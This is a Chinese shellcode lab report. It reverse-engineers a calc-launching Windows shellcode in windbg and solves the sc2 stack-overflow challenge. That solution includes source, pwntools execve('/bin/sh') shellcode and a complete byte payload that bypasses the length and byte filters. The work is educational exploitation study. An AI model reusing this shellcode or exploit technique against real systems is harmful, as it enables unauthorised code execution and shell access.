实验目标
掌握shellcode在漏洞利用中的基本用法及编码方法。
实验内容要求
- 根据实验软件SCer.exe和shellcode 代码sc1.bin,通过windbg逆向分析弹出计算器的漏洞利用详细过程,形成实验报告提交;
- 根据实验题目sc2,撰写详细的解题过程,至少包括漏洞成因分析、漏洞利用思路阐述,最终形成实验报告提交;
实验过程
分析sc1.bin弹出计算器的漏洞利用详细过程
实验环境
- 操作系统:Windows XP Professional Service Pack 3
- 工具:windbg、Scer.exe、Notepad++
步骤
使用SCer.exe测试sc1.bin文件,成功弹出计算器,说明shellcode可以运行;
用scer.exe先把cs1.bin文件转为字符串sc1.bin.sc文件,在最前面加上
0xCC
。在汇编中0xCC
对应的汇编指令为int 3
,该指令是系统的中断指令,可以理解为在 windbg中提前设置好了一个断点;再使用Scer.exe将更改后得sc1.bin.sc文件转换成可执行得bin文件sc1.bin.sc.mybin;
打开windbg,依次选择
File
、Open Executable Files
、Scer.exe
,使用windbg调试Scer.exe,选择Debug
、Go
,弹出Scer.exe的界面;将sc1.bin.sc.mybin文件拖入Scer.exe输入框,点击执行shellcode,运行至设置的
0XCC
断点处,根据断点,得到shellcode汇编代码如下;开始调试shellcode
先跳转至
0x00b40057
处;将地址
0x69cc4e7h
压入栈中;调用地址
0x00b40003
;将esi置空;
fs寄存器指向TEB结构,TEB结构地址偏移
0x30
指向PEB结构,即将PEB结构的地址赋给esi;其中PEB结构如下;
1
2
3
4
5
6
7
8
9
10
11typedef struct _PEB
{
UCHAR InheritedAddressSpace; // 00h
UCHAR ReadImageFileExecOptions; // 01h
UCHAR BeingDebugged; // 02h
UCHAR Spare; // 03h
PVOID Mutant; // 04h
PVOID ImageBaseAddress; // 08h
PPEB_LDR_DATA Ldr; // 0Ch
…………
}PEB,*PPEB利用PEB结构偏移
0x0C
找到PPEB_LDR_DATA Ldr
;其中_PEB_LDR_DATA结构如下;
1
2
3
4
5
6
7
8
9typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24利用
PPEB_LDR_DATA Ldr
偏移0x1C
找到LIST_ENTRY InInitializationOrderModuleList
,它是指向LDR_MODULE
链表结构中,相应的双向链表头部的指针;该动态链表按顺序存放着PE装入运行时初始化模块的信息第一个链表节点是ntdll.dll,第二个链表结点就是kernel32.dll,因此偏移
0x08
处为ntdll.dll地址,即ebp偏移0x08
后指向ntdll.dll;将esi指向的内存的地址处的数据赋值给esi,即将链表下一节点放入esi;
从ntdll.dll加载基址算起,偏移
0x3c
的地方就是其PE文件头,PE头偏移0x78
的地方存放着指向函数导出表的指针,连续两次运算,使得ebx的值为0x00003400
;由于ebx的值为
0x00003400
,test ebx,ebp
结果不改变FLAG寄存器的状态,故不会进行下一步的跳转;将输出表地址存入ebx中;
根据表的结构,在偏移地址
0x18
处存储着函数数目,把表里的函数数目放入ecx中;jcxz
即jump if cx equals zero
,当ecx=0
时跳转到0x00b4000f
,此时ecx不为0,故不进行跳转;导出表偏移
0x20
处的指针指向存储导出函数函数名的列表,将列表中第一个函数的地址赋给edi;将列表中最后一个函数的地址赋值给edi;
将eax置空,用作索引;
把edx的每一位变为eax的最高位,再把edx扩展为eax的高位,即变为64位;
接下来几步构成了一个循环,相当于对函数名进行了一个处理,包括使得ebp中存储的地址变为kernel32.dll的地址;
执行到cmp ,把值和栈顶+4处,一开始入栈的值比较,一开始入栈的其实是winexc经过处理得到的值,对比不相等就再次进行循环,跳到loopne换下一个函数名;
经过多次循环没找到就会跳回
0x00b4000f
,换一个dll继续寻找;先将数组赋值给edx,存储函数序号,再加上edp,得到函数名称列表地址,再加上
ecx*2
,得到目标函数序号;将edi指向一个RVA数组,再加上ebp存储的kernel32.dll的基地址,得到导出函数地址;
计算出最终的目标地址;
使用
ret
指令返回;进行一系列的函数压栈、弹栈操作;
调用ebp存储的地址
0x7c8623ad
上存储的winExec
函数;在进入
winExec
函数后,执行与上述寻找winexc类似的操作,这里不在叙述,直至找到调用计算器函数calc
并执行弹出计算器;
shellcode的汇编代码及备注如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47jmp 00b40057
xor esi,esi //将esi置空
mov esi,dword ptr fs:[esi+30h] //将PEB结构的地址赋给esi
mov esi,dword ptr [esi+0Ch] //将PPEB_LDR_DATA Ldr结构的地址赋给esi
mov esi,dword ptr [esi+1Ch] //将LDR_MODULE链表地址赋给esi
mov ebp,dword ptr [esi+8] //将ntdll.dll地址赋给ebp
mov esi,dword ptr [esi] //将链表下一节点放入esi
mov ebx,dword ptr [ebp+3Ch] //接下来两步将PE头存放着指向函数导出表的指针赋给ebx
mov ebx,dword ptr [ebp+ebx+78h]
test ebx,ebx
je 00b400f
add ebp,ebp //将输出表地址存入ebx中
mov ecx,dword ptr [ebx+18h] //表里的函数数目放入ecx
jcxz 00b400f
mov edi,dword ptr [ebx+20h] //将列表中第一个函数的地址赋给edi
add edi,ebp
mov edi,dword ptr [edi+ecx*4-4] //将列表中最后一个函数的地址赋给edi
add edi,ebp
xor eax,eax //将eax置空,用作索引
cdq //把edx的每一位变为eax的最高位,再把edx扩展为eax的高位,即变为64位
add dl,byte ptr [edi] //接下来几步构成了一个循环,相当于对函数名进行了一个处理
ror edx,4
scas byte ptr es:[edi]
jne 00b40035
cmp edx,dword ptr [edi+4] //把值和栈顶+4处,一开始入栈的值比较,一开始入栈的其实是winexc经过处理得到的值,对比不相等就再次进行循环,跳到loopne换下一个函数名
loopne 00b40027
jne 00b4000f
mov edx,dword ptr [ebx+24h] //先将数组赋值给edx,存储函数序号,再加上edp,得到函数名称列表地址,再加上ecx*2,得到目标函数序号
add edx,edp
movzx edx,word ptr [edx+ecx*2]
mov edi,dword ptr [ebx+1Ch] //将edi指向一个RVA数组,再加上ebp存储的kernel32.dll的基地址,得到导出函数地址
add edi,ebp
add ebp,dword ptr [edi+edx*4] //计算出最终的目标地址
ret //使用ret返回指令
push 69CCC4E7h //进行一系列的函数压栈、弹栈操作
call 00b40003
push eax
push 636C6163h
mov edx,esp
inc eax
push eax
push edx
call ebp
push 2A60A677h
call 00b40003
push eax
call ebp //调用ebp存储的地址0x7c8623ad上存储的winExec函数
根据实验题目sc2,撰写详细的解题过程
实验环境
- 操作系统:Kali Linux
- 工具:pwntools、gdb
步骤
函数源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*
Discription:
[vul]--> stack overflow vulnerability
[solve clue]--> use bof to execute shellcode in the stack
[writer]--> carter 2018.5.20
*/
void init(void)
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
alarm(alarm_time);
return;
}
void egg()
{
//__asm__ ("jmp *-0x30(%rsp);");
__asm__("sub rsp,0x30;jmp rsp;");
}
bool check_input(char *ss)
{
char filter[8] = {'\xaa','\xbb'};
for(int i=0;i<filter_num;i++)
{
for(int j=0;j<strlen(ss);j++)
{
if(ss[j]==filter[i])
return false;
}
}
return true;
}
void bof(void)
{
char content[48]={0};
puts("Input your content: ");
read(0,content,60);
if(strlen(content)>=48)
{
puts("Detect bof!");
exit(-1);
}
if(!check_input(content))
exit(-1);
return;
}
int main()
{
init();
bof();
return 0;
}源代码分析
- main函数调用init函数和bof函数;
- init函数的功能是初始化,设置了输入输出流和程序限定时间;
- bof函数:
- 声明一个长度位48的字符串数组;
- 输出字符串
Input your content:
; - 调用read函数,读取60个字符,放入字符串数组content中;
- 判断字符串数组content的长度是否大于48,如果超过48,则输出
Detect bof!
,并且异常退出; - 调用check_input函数,检查字符串中是否包含
\xaa
、\xbb
,如果包含,则异常退出;
- egg函数通过降低地址扩展栈空间;
漏洞利用
字符串数组content长度为48,输入的字符数为60,造成字符串溢出,可以使用
0x00
绕过限制48个字符的判断;分析过程
使用checksec工具查看二进制代码的保护,Stack没有保护措施,可以利用栈溢出攻击,NX显示disabled,有执行栈上代码的权限;
使用gdb调试sc2;
由于在bof函数中存在输入点,因此在bof函数入口点设置断点,查看栈信息得到栈基址地址为
0x7fffffffe0f0
,栈顶地址为0x7fffffffe0e8
;查看字符串溢出点的位置,构造简单的shellcode,其中使用
\x00
绕过长度检测;```shell
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x701
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
![1570868550702](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570868550702.png)
5. 在gdb中执行该shellcode,出现错误,程序试图访问`0x59585756`这个地址,而该地址正是上述shellcode中的内容,在该位置填入目的地址,即可跳转到相应的地址执行代码;
![1570868725103](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570868725103.png)
6. 查看栈信息发现栈基址地址rbp被shellcode中的内容`\x48\x49\x50\x51\x52\x53\x54\x55`覆盖,栈顶地址rsp编变成了`0x7fffffffe1a0`;
![1570868795483](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570868795483.png)
7. 查看栈中内存情况发现输入的shellcode从地址`0x7fffffffeb0`开始存储;
![1570868967865](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570868967865.png)
8. 由于只能修改地址的低8位, 不能修改地址的高8位,显然直接覆盖返回地址来到达相应的栈空间是不可能的,只能通过跳板指令到达相应的栈地址,搜索跳板指令,发现一个`jmp rsp`指令;
![1570803761072](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570803761072.png)
9. 根据程序源码,这个`jmp rsp`仅存在egg函数中;
```c
void egg()
{
//__asm__ ("jmp *-0x30(%rsp);");
__asm__("sub rsp,0x30;jmp rsp;");
}上述代码将rsp降低了0x30,到地址
0x7fffffffe170
处,可以设计shellcode将其覆盖;egg函数地址为
0x400798
,sub 0x30,rsp
地址为0x40079c
;利用pwntools的工具shellcraft生成shellcode,生成shellcode的代码shellcode.py如下
1
2
3
4
5
6
7
8from pwn import *
context.arch = "amd64"
context.os = "linux"
payload = asm(shellcraft.amd64.linux.execve('/bin/sh\x00')) #可执行ls/cd等指令
file = open("shellcode.txt", "w")
file.write(payload)
file.close()
print(payload)执行shellcode.py得到十六机制编码如下;
由于需要绕过只能输入48个字符串和不能出现
0xaa
、0xbb
,对shellcode进一步完善如下;1
\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05\x90\x90\x90\x9c\x07\x40\x00
其中s
\x00
是绕过长度检查位于0x7ffffffe0b0
处,\x90
用于长度填充,末尾的\x9c\x07\x04\x00
是sub 0x30,rsp
的地址输入命令
cat shellcode - | ./sc2
运行shellcode,可执行ls
、cd
等指令;